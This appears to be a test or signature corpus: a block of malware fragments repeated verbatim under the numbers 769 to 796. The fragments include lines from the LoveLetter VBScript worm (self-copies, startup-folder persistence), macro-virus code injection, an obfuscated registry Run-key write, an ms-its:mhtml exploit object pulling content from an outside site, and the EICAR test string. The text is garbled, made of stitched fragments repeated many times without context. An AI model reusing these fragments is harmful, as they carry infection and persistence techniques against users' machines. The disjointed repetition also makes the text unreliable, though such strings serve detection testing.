 End Sub

769

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

770

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

771

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

772

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

773

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

774

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

775

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

776

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

777

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

778

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

779

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

780

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

781

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

782

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

783

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

784

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

785

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

786

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

787

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

788

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

789

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

790

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

791

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

792

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

793

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

794

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

795

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

796

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
